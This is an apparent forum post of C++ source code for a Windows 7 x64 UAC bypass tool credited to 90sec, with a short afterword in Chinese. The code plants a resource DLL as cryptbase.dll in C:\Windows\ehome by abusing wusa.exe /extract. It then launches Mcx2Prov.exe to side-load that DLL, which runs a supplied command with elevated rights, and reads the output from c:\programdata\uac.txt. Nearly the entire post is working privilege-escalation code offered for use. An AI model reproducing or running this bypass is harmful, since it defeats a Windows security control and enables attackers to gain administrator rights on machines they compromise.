WIN7 X64 PASSUAC 源码

// Passuac.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include  <direct.h>

BOOL IsUserInAdminGroup() //判断是否在管理员组
{
    BOOL fInAdminGroup = FALSE;
    HANDLE hToken = NULL;
    HANDLE hTokenToCheck = NULL;
    DWORD cbSize = 0;

    OSVERSIONINFO osver = {0};
    osver.dwOSVersionInfoSize = sizeof(osver);

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
        goto Cleanup;
    if (!GetVersionEx(&osver))
        goto Cleanup;
    if (osver.dwMajorVersion >= 6)
    {
        TOKEN_ELEVATION_TYPE elevType;
        if (!GetTokenInformation(hToken, TokenElevationType, &elevType, sizeof(elevType), &cbSize))
            goto Cleanup;
        if (TokenElevationTypeLimited == elevType)
        {
            if (!GetTokenInformation(hToken, TokenLinkedToken, &hTokenToCheck, sizeof(hTokenToCheck), &cbSize))
                goto Cleanup;
        }
    }

    if (!hTokenToCheck)
    {
        if (!DuplicateToken(hToken, SecurityIdentification, &hTokenToCheck))
            goto Cleanup;
    }

    BYTE adminSID[SECURITY_MAX_SID_SIZE];
    cbSize = sizeof(adminSID);
    if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &adminSID, &cbSize))
        goto Cleanup;
    if (!CheckTokenMembership(hTokenToCheck, &adminSID, &fInAdminGroup))
        goto Cleanup;

Cleanup:
    if (hToken)    CloseHandle(hToken);
    if (hTokenToCheck) CloseHandle(hTokenToCheck);
    return fInAdminGroup;
}

BOOL IsRunAsAdmin() //判断是否以管理员权限运行
{
    BOOL fIsRunAsAdmin = FALSE;
    DWORD dwError = ERROR_SUCCESS;
    PSID pAdministratorsGroup = NULL;

    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (!AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &pAdministratorsGroup))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

Cleanup:
    if (pAdministratorsGroup) FreeSid(pAdministratorsGroup);
    return fIsRunAsAdmin;
}

BOOL writedll64()
{

    char Szpath[MAX_PATH] = {0};
    char uacexqute[1024] = {0};
    DWORD   dwWrite=0;
    WORD wResID;
    HANDLE  hFile = CreateFileA("cryptbase.dll",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Getlasterror:%d.\r\n",GetLastError());
        return 0;
    }
    HRSRC hrsc = FindResource(NULL,MAKEINTRESOURCE(IDR_TESTDLL1),L"TESTDLL");
    HGLOBAL hG = LoadResource(NULL, hrsc);
    DWORD   dwSize = SizeofResource( NULL,  hrsc); 

    WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
    CloseHandle( hFile );

    getcwd(Szpath, MAX_PATH);
    strcat(Szpath,"\\cryptbase.tmp");
    system("makecab cryptbase.dll cryptbase.tmp");
    sprintf(uacexqute,"%s /extract:C:\\Windows\\ehome\\",Szpath);

    ShellExecuteA(NULL, "open", "wusa.exe", uacexqute, NULL, SW_HIDE);

    //remove("cryptbase*");
    DeleteFileA("cryptbase.dll");
    DeleteFileA("cryptbase.tmp");

    return true;
}

int main(int argc,char* argv[])
{
    FILE* fp;
    char szcmd[1024] = {0};
    char *Options;
    char buffer[2048] = {0};
    STARTUPINFO si={sizeof(si)};
    PROCESS_INFORMATION pi;
    si.dwFlags=STARTF_USESHOWWINDOW;
    si.wShowWindow=TRUE;

    if (argc < 2)
    {
        printf("[*]:%s Passuac for windows 7 x64\n",argv[0]);
        printf("[*]:%s Setp1: passuac\r\n",argv[0]);
        printf("[*]:%s Setp2: shell_cmd\r\n",argv[0]);
        printf("[*]:Welcome to www.90sec.org\r\n");
        printf("[*]:Pass uac t00ls By:@90sec\r\n\r\n");
        return 0;
    }

    strcpy(szcmd,argv[1]);

    char szNewCmd[MAX_PATH] = {0};
    wsprintfA(szNewCmd, "\"%s\"", szcmd);

    if (!IsUserInAdminGroup())
    {
        printf("Your not have in Local Administrator Group\r\n");
        printf("Program exit;");
        exit(1);
    }else
    {
        printf("Your have in Local Administrator Group\r\n");
        printf("PassUac ing.....\r\n");
        if (!IsRunAsAdmin())
        {
            if (!strcmp(szcmd,"passuac"))
            {
                writedll64();
            }else
            {

                ShellExecuteA(NULL, "open", "C:\\windows\\ehome\\Mcx2Prov.exe", szNewCmd, NULL, SW_HIDE);
                Sleep(4000);

                fp = fopen("c:\\programdata\\uac.txt","rb");
                if (fp == NULL)
                {
                    printf("Getlasterror:%d\r\n",GetLastError());
                    return 0;
                }

                ZeroMemory(buffer,sizeof(buffer));

                while (fgets(buffer,sizeof(buffer),fp))
                {
                    printf(buffer);
                }
                fclose(fp);
            }
        }
    }
    return 0;
}

需要自己写个DLL，来进行参数解析。请看代码把。

代码写的相当烂，但是能够达到地步，还请各位莫笑话。